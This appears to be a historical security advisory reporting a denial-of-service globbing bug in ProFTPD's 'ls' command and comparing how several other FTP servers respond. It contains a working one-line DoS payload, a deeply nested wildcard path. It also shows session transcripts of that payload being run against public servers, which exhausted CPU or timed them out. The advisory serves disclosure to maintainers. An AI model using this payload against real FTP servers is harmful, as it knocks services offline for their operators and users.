Multiple vendors FTP denial of service

• Proftpd built-in 'ls' command has a globbing bug that allows remote
  denial-of-service.

  Here's a simple exploit, tested on the Proftpd site :

$ ftp ftp.proftpd.org
…
Name (ftp.proftpd.org:j): ftp
…
230 Anonymous access granted, restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls /…//…//…//…//…//…//…//…//…//…//…//…/*
227 Entering Passive Mode (216,10,40,219,4,111).
421 Service not available, remote server timed out. Connection closed

That command takes 100% CPU time on the server. It can lead into an easy
DOS even if few remote simultanous connections are allowed.

Other FTP servers may be concerned as well. Here are various tries :

• NetBSD FTP showed the same behavior than Proftpd :

ftp> ls /…//…//…//…//…//…//…//…//…//…//…//…/*
200 EPRT command successful.
(long delay)
421 Service not available, remote server timed out. Connection closed

So NetBSD-ftpd 20000723a may also consume 100% cpu time, resulting in a
possible DOS. Other BSD FTP may be affected as well.

• Microsoft FTP Service (Version 5.0) seems also confused by the command :
  ftp> ls /…//…//…//…//…//…//…//…//…//…//…//…/*
  500 'EPSV': command not understood
  227 Entering Passive Mode (207,46,133,140,4,223).
  200 PORT command successful.
  150 Opening ASCII mode data connection for file list.
  (very long delay… nothing happens…)

• Publicfile refuses the command :

ftp> ls /…//…//…//…//…//…//…//…//…//…//…//…/*
227 =131,193,178,181,97,222
550 Sorry, I can't open that file: file does not exist.

• Wu-FTPd 2.6.1 is not vulnerable. Only the result of 'ls *' is computed and
  displayed.

• PureFTPd (any version) is not vulnerable. Result is "Simplified wildcard
  expression to *" and the 'ls *' output.

  Maintainers of vulnerable servers have been warned of this bug.

–
-=- Frank DENIS aka Jedi/Sector One < [email protected] > -=-
LINAGORA SA (Paris, France) : http://www.linagora.com